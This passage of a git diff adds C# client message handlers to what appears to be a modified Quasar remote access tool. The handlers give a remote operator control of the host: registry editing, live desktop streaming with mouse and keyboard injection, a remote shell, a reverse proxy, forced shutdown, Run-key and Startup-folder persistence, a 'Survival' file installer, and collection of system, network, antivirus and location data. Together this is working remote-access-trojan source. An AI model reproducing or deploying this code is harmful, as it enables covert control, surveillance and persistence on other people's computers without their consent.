SPIF_SENDCHANGE); + } + catch { } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RegistryHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/RegistryHandler.cs new file mode 100755 index 0000000..3abc30e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RegistryHandler.cs @@ -0,0 +1,228 @@ +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Client.Registry; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using System; + +namespace Quasar.Client.Messages +{ + public class RegistryHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoLoadRegistryKey || + message is DoCreateRegistryKey || + message is DoDeleteRegistryKey || + message is DoRenameRegistryKey || + message is DoCreateRegistryValue || + message is DoDeleteRegistryValue || + message is DoRenameRegistryValue || + message is DoChangeRegistryValue; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoLoadRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryKey msg: + Execute(sender, msg); + break; + case DoDeleteRegistryKey msg: + Execute(sender, msg); + break; + case DoRenameRegistryKey msg: + Execute(sender, msg); + break; + case DoCreateRegistryValue msg: + Execute(sender, msg); + break; + case DoDeleteRegistryValue msg: + Execute(sender, msg); + break; + case DoRenameRegistryValue msg: + Execute(sender, msg); + break; + case DoChangeRegistryValue msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoLoadRegistryKey message) + { + GetRegistryKeysResponse responsePacket = new GetRegistryKeysResponse(); + try + { + RegistrySeeker seeker = new RegistrySeeker(); + seeker.BeginSeeking(message.RootKeyName); + + responsePacket.Matches = seeker.Matches; + responsePacket.IsError = false; + } + catch (Exception e) + { + responsePacket.IsError = true; + responsePacket.ErrorMsg = e.Message; + } + responsePacket.RootKey = message.RootKeyName; + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryKey message) + { + GetCreateRegistryKeyResponse responsePacket = new GetCreateRegistryKeyResponse(); + string errorMsg; + string newKeyName = ""; + + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(message.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + + responsePacket.ErrorMsg = errorMsg; + responsePacket.Match = new RegSeekerMatch + { + Key = newKeyName, + Data = RegistryKeyHelper.GetDefaultValues(), + HasSubKeys = false + }; + responsePacket.ParentPath = message.ParentPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryKey message) + { + GetDeleteRegistryKeyResponse responsePacket = new GetDeleteRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(message.KeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.KeyName = message.KeyName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryKey message) + { + GetRenameRegistryKeyResponse responsePacket = new GetRenameRegistryKeyResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(message.OldKeyName, message.NewKeyName, message.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = message.ParentPath; + responsePacket.OldKeyName = message.OldKeyName; + responsePacket.NewKeyName = message.NewKeyName; + + client.Send(responsePacket); + } + + + private void Execute(ISender client, DoCreateRegistryValue message) + { + GetCreateRegistryValueResponse responsePacket = new GetCreateRegistryValueResponse(); + string errorMsg; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(message.KeyPath, message.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.Value = RegistryKeyHelper.CreateRegValueData(newKeyName, message.Kind, message.Kind.GetDefault()); + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoDeleteRegistryValue message) + { + GetDeleteRegistryValueResponse responsePacket = new GetDeleteRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(message.KeyPath, message.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = message.ValueName; + responsePacket.KeyPath = message.KeyPath; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoRenameRegistryValue message) + { + GetRenameRegistryValueResponse responsePacket = new GetRenameRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(message.OldValueName, message.NewValueName, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.OldValueName = message.OldValueName; + responsePacket.NewValueName = message.NewValueName; + + client.Send(responsePacket); + } + + private void Execute(ISender client, DoChangeRegistryValue message) + { + GetChangeRegistryValueResponse responsePacket = new GetChangeRegistryValueResponse(); + string errorMsg; + try + { + responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(message.Value, message.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = message.KeyPath; + responsePacket.Value = message.Value; + + client.Send(responsePacket); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RemoteDesktopHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/RemoteDesktopHandler.cs new file mode 100755 index 0000000..5c27e89 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RemoteDesktopHandler.cs @@ -0,0 +1,262 @@ +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Common.Video; +using Quasar.Common.Video.Codecs; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + private bool _isStreaming; + private Thread _streamThread; + private ISender _currentClient; + private int _fpsCap = 60; + private readonly object _streamLock = new object(); + + public override bool CanExecute(IMessage message) => message is GetDesktop || + message is DoMouseEvent || + message is DoKeyboardEvent || + message is GetMonitors; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetDesktop msg: Execute(sender, msg); break; + case DoMouseEvent msg: Execute(sender, msg); break; + case DoKeyboardEvent msg: Execute(sender, msg); break; + case GetMonitors msg: Execute(sender, msg); break; + } + } + + private void Execute(ISender client, GetDesktop message) + { + if (message.StopStreaming) + { + lock (_streamLock) + { + _isStreaming = false; + _currentClient = null; + } + return; + } + + if (message.CreateNew) + { + lock (_streamLock) + { + var monitorBounds = ScreenHelper.GetBounds(message.DisplayIndex); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + _isStreaming = true; + _currentClient = client; + _fpsCap = message.FpsCap > 0 ? message.FpsCap : 60; + + OnReport("Remote desktop streaming started"); + } + + if (_streamThread == null || !_streamThread.IsAlive) + { + _streamThread = new Thread(StreamingLoop) + { + IsBackground = true, + Priority = ThreadPriority.AboveNormal + }; + _streamThread.Start(); + } + return; + } + + // Legacy single-frame mode + var bounds = ScreenHelper.GetBounds(message.DisplayIndex); + var res = new Resolution { Height = bounds.Height, Width = bounds.Width }; + + if (_streamCodec == null || _streamCodec.ImageQuality != message.Quality || + _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != res) + { + lock (_streamLock) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, res); + } + } + + SendSingleFrame(client, message.DisplayIndex); + } + + private void StreamingLoop() + { + while (true) + { + ISender client; + UnsafeStreamCodec codec; + int display; + int fpsCap; + + lock (_streamLock) + { + if (!_isStreaming || _currentClient == null || _streamCodec == null) + break; + + client = _currentClient; + codec = _streamCodec; + display = codec.Monitor; + fpsCap = _fpsCap; + } + + try + { + SendSingleFrame(client, display); + } + catch { } + + int delayMs = 1000 / fpsCap; + Thread.Sleep(delayMs); + } + } + + private void SendSingleFrame(ISender client, int displayIndex) + { + BitmapData desktopData = null; + Bitmap desktop = null; + try + { + desktop = ScreenHelper.CaptureScreen(displayIndex); + desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), + ImageLockMode.ReadWrite, desktop.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(desktopData.Scan0, + new Rectangle(0, 0, desktop.Width, desktop.Height), + new Size(desktop.Width, desktop.Height), + desktop.PixelFormat, stream); + client.Send(new GetDesktopResponse + { + Image = stream.ToArray(), + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + } + catch (Exception) + { + if (_streamCodec != null) + { + client.Send(new GetDesktopResponse + { + Image = null, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution + }); + } + _streamCodec = null; + } + finally + { + if (desktop != null) + { + if (desktopData != null) + try { desktop.UnlockBits(desktopData); } catch { } + desktop.Dispose(); + } + } + } + + private void Execute(ISender sender, DoMouseEvent message) + { + try + { + Screen[] allScreens = Screen.AllScreens; + int offsetX = allScreens[message.MonitorIndex].Bounds.X; + int offsetY = allScreens[message.MonitorIndex].Bounds.Y; + Point p = new Point(message.X + offsetX, message.Y + offsetY); + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + case MouseAction.RightDown: + case MouseAction.RightUp: + case MouseAction.MoveCursor: + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + break; + } + + switch (message.Action) + { + case MouseAction.LeftDown: + case MouseAction.LeftUp: + NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown); + break; + case MouseAction.RightDown: + case MouseAction.RightUp: + NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown); + break; + case MouseAction.MoveCursor: + NativeMethodsHelper.DoMouseMove(p); + break; + case MouseAction.ScrollDown: + NativeMethodsHelper.DoMouseScroll(p, true); + break; + case MouseAction.ScrollUp: + NativeMethodsHelper.DoMouseScroll(p, false); + break; + } + } + catch { } + } + + private void Execute(ISender sender, DoKeyboardEvent message) + { + if (NativeMethodsHelper.IsScreensaverActive()) + NativeMethodsHelper.DisableScreensaver(); + NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown); + } + + private void Execute(ISender client, GetMonitors message) + { + client.Send(new GetMonitorsResponse { Number = Screen.AllScreens.Length }); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + lock (_streamLock) + { + _isStreaming = false; + } + + if (_streamThread != null && _streamThread.IsAlive) + _streamThread.Join(1000); + + _streamCodec?.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/RemoteShellHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/RemoteShellHandler.cs new file mode 100755 index 0000000..c10cf98 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/RemoteShellHandler.cs @@ -0,0 +1,95 @@ +using Quasar.Client.IO; +using Quasar.Client.Networking; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; + +namespace Quasar.Client.Messages +{ + /// + /// Handles messages for the interaction with the remote shell. + /// + public class RemoteShellHandler : IMessageProcessor, IDisposable + { + /// + /// The current remote shell instance. + /// + private Shell _shell; + + /// + /// The client which is associated with this remote shell handler. + /// + private readonly QuasarClient _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public RemoteShellHandler(QuasarClient client) + { + _client = client; + _client.ClientState += OnClientStateChange; + } + + /// + /// Handles changes of the client state. + /// + /// The client which changed its state. + /// The new connection state of the client. + private void OnClientStateChange(Networking.Client s, bool connected) + { + // close shell on client disconnection + if (!connected) + { + _shell?.Dispose(); + } + } + + /// + public bool CanExecute(IMessage message) => message is DoShellExecute; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShellExecute shellExec: + Execute(sender, shellExec); + break; + } + } + + private void Execute(ISender client, DoShellExecute message) + { + string input = message.Command; + + if (_shell == null && input == "exit") return; + if (_shell == null) _shell = new Shell(_client); + + if (input == "exit") + _shell.Dispose(); + else + _shell.ExecuteCommand(input); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _shell?.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ReverseProxyHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ReverseProxyHandler.cs new file mode 100755 index 0000000..21e9588 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ReverseProxyHandler.cs @@ -0,0 +1,58 @@ +using Quasar.Client.Networking; +using Quasar.Client.ReverseProxy; +using Quasar.Common.Messages; +using Quasar.Common.Messages.ReverseProxy; +using Quasar.Common.Networking; + +namespace Quasar.Client.Messages +{ + public class ReverseProxyHandler : IMessageProcessor + { + private readonly QuasarClient _client; + + public ReverseProxyHandler(QuasarClient client) + { + _client = client; + } + + public bool CanExecute(IMessage message) => message is ReverseProxyConnect || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnect msg: + Execute(sender, msg); + break; + case ReverseProxyData msg: + Execute(sender, msg); + break; + case ReverseProxyDisconnect msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, ReverseProxyConnect message) + { + _client.ConnectReverseProxy(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient proxyClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + proxyClient?.SendToTargetServer(message.Data); + } + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _client.GetReverseProxyByConnectionId(message.ConnectionId); + + socksClient?.Disconnect(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/ShutdownHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/ShutdownHandler.cs new file mode 100755 index 0000000..de0ea50 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/ShutdownHandler.cs @@ -0,0 +1,58 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class ShutdownHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShutdownAction; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShutdownAction msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShutdownAction message) + { + try + { + ProcessStartInfo startInfo = new ProcessStartInfo(); + switch (message.Action) + { + case ShutdownAction.Shutdown: + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.UseShellExecute = true; + startInfo.Arguments = "/s /t 0"; // shutdown + startInfo.FileName = "shutdown"; + Process.Start(startInfo); + break; + case ShutdownAction.Restart: + startInfo.WindowStyle = ProcessWindowStyle.Hidden; + startInfo.UseShellExecute = true; + startInfo.Arguments = "/r /t 0"; // restart + startInfo.FileName = "shutdown"; + Process.Start(startInfo); + break; + case ShutdownAction.Standby: + Application.SetSuspendState(PowerState.Suspend, true, true); // standby + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Action failed: {ex.Message}" }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/StartupManagerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/StartupManagerHandler.cs new file mode 100755 index 0000000..91b2d02 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/StartupManagerHandler.cs @@ -0,0 +1,265 @@ +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; + +namespace Quasar.Client.Messages +{ + public class StartupManagerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetStartupItems || + message is DoStartupItemAdd || + message is DoStartupItemRemove; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItems msg: + Execute(sender, msg); + break; + case DoStartupItemAdd msg: + Execute(sender, msg); + break; + case DoStartupItemRemove msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetStartupItems message) + { + try + { + List startupItems = new List(); + + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRun }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.CurrentUser, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.CurrentUserRunOnce }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunX86 }); + } + } + } + using (var key = RegistryKeyHelper.OpenReadonlySubKey(RegistryHive.LocalMachine, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce")) + { + if (key != null) + { + foreach (var item in key.GetKeyValues()) + { + startupItems.Add(new Common.Models.StartupItem + { Name = item.Item1, Path = item.Item2, Type = StartupType.LocalMachineRunOnceX86 }); + } + } + } + if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles(); + + startupItems.AddRange(files.Where(file => file.Name != "desktop.ini").Select(file => new Common.Models.StartupItem + { Name = file.Name, Path = file.FullName, Type = StartupType.StartMenu })); + } + + client.Send(new GetStartupItemsResponse { StartupItems = startupItems }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Getting Autostart Items failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemAdd message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name, message.StartupItem.Path, true)) + { + throw new Exception("Could not add value"); + } + break; + case StartupType.StartMenu: + if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup))) + { + Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.Startup)); + } + + string lnkPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), + message.StartupItem.Name + ".url"); + + using (var writer = new StreamWriter(lnkPath, false)) + { + writer.WriteLine("[InternetShortcut]"); + writer.WriteLine("URL=file:///" + message.StartupItem.Path); + writer.WriteLine("IconIndex=0"); + writer.WriteLine("IconFile=" + message.StartupItem.Path.Replace('\\', '/')); + writer.Flush(); + } + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Adding Autostart Item failed: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoStartupItemRemove message) + { + try + { + switch (message.StartupItem.Type) + { + case StartupType.LocalMachineRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRun: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.CurrentUserRunOnce: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser, + "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.LocalMachineRunOnceX86: + if (!RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.LocalMachine, + "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", message.StartupItem.Name)) + { + throw new Exception("Could not remove value"); + } + break; + case StartupType.StartMenu: + string startupItemPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), message.StartupItem.Name); + + if (!File.Exists(startupItemPath)) + throw new IOException("File does not exist"); + + File.Delete(startupItemPath); + break; + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Removing Autostart Item failed: {ex.Message}" }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/SurvivalHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/SurvivalHandler.cs new file mode 100755 index 0000000..b4f748e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/SurvivalHandler.cs @@ -0,0 +1,58 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Client.Survival; + +namespace Quasar.Client.Messages +{ + public class SurvivalHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoSurvivalInstall || message is DoSurvivalUninstall; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoSurvivalInstall msg: + Execute(sender, msg); + break; + case DoSurvivalUninstall uninstall: + ExecuteUninstall(sender); + break; + } + } + + private void Execute(ISender client, DoSurvivalInstall message) + { + if (message.FileBytes != null && message.FileExtension != null) + { + RSFuncs.InstallFile(client, message.FileBytes, message.FileExtension); + } + else + { + client.Send(new NewSurvivalLog + { + Log = "Invalid file bytes or file extension", + LogType = "error" + }); + } + } + + private void ExecuteUninstall(ISender client) + { + try + { + RSFuncs.Uninstall(client); + } + catch (System.Exception ex) + { + client.Send(new NewSurvivalLog + { + Log = ex.Message, + LogType = "error" + }); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/SystemInformationHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/SystemInformationHandler.cs new file mode 100755 index 0000000..e7ef10f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/SystemInformationHandler.cs @@ -0,0 +1,253 @@ +using Quasar.Client.Helper; +using Quasar.Client.IpGeoLocation; +using Quasar.Client.User; +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using Quasar.Client.IO; +using System.Management; +using System.Windows.Forms; +using System.Security.Principal; + +namespace Quasar.Client.Messages +{ + public class SystemInformationHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetSystemInfo; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfo msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetSystemInfo message) + { + try + { + IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); + + var domainName = (!string.IsNullOrEmpty(properties.DomainName)) ? properties.DomainName : "-"; + var hostName = (!string.IsNullOrEmpty(properties.HostName)) ? properties.HostName : "-"; + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + List> lstInfos = new List> + { + // Hardware Information + new Tuple("Processor (CPU)", HardwareDevices.CpuName), + new Tuple("Processor Cores", GetProcessorCores()), + new Tuple("Memory (RAM)", $"{HardwareDevices.TotalPhysicalMemory} MB"), + new Tuple("Video Card (GPU)", HardwareDevices.GpuName), + new Tuple("Mainboard", HardwareDevices.MainboardName), + new Tuple("BIOS Manufacturer", HardwareDevices.BiosManufacturer), + + // Operating System Information + new Tuple("Operating System", GetOSVersion()), + new Tuple("OS Architecture", GetOSArchitecture()), + new Tuple("OS Build", GetOSBuild()), + new Tuple(".NET Framework", GetDotNetVersion()), + + // User & Computer Information + new Tuple("Username", userAccount.UserName), + new Tuple("User Account Type", GetAccountType()), + new Tuple("PC Name", SystemHelper.GetPcName()), + new Tuple("Domain Name", domainName), + new Tuple("Host Name", hostName), + + // Storage Information + new Tuple("System Drive", Path.GetPathRoot(Environment.SystemDirectory)), + new Tuple("System Directory", Environment.SystemDirectory), + new Tuple("Total Disk Space", GetTotalDiskSpace()), + new Tuple("Free Disk Space", GetFreeDiskSpace()), + + // Display Information + new Tuple("Screen Resolution", GetScreenResolution()), + + // System Status + new Tuple("Uptime", SystemHelper.GetUptime()), + new Tuple("Last Boot Time", GetLastBootTime()), + + // Network Information + new Tuple("MAC Address", HardwareDevices.MacAddress), + new Tuple("LAN IP Address", HardwareDevices.LanIpAddress), + new Tuple("WAN IP Address", geoInfo.IpAddress), + new Tuple("ASN", geoInfo.Asn), + new Tuple("ISP", geoInfo.Isp), + + // Security Information + new Tuple("Antivirus", SystemHelper.GetAntivirus()), + new Tuple("Firewall", SystemHelper.GetFirewall()), + + // Location Information + new Tuple("Time Zone", geoInfo.Timezone), + new Tuple("Country", geoInfo.Country) + }; + + client.Send(new GetSystemInfoResponse { SystemInfos = lstInfos }); + } + catch + { + } + } + + private string GetProcessorCores() + { + try + { + int coreCount = 0; + foreach (var item in new ManagementObjectSearcher("Select NumberOfCores from Win32_Processor").Get()) + { + coreCount += int.Parse(item["NumberOfCores"].ToString()); + } + return coreCount.ToString(); + } + catch + { + return Environment.ProcessorCount.ToString(); + } + } + + 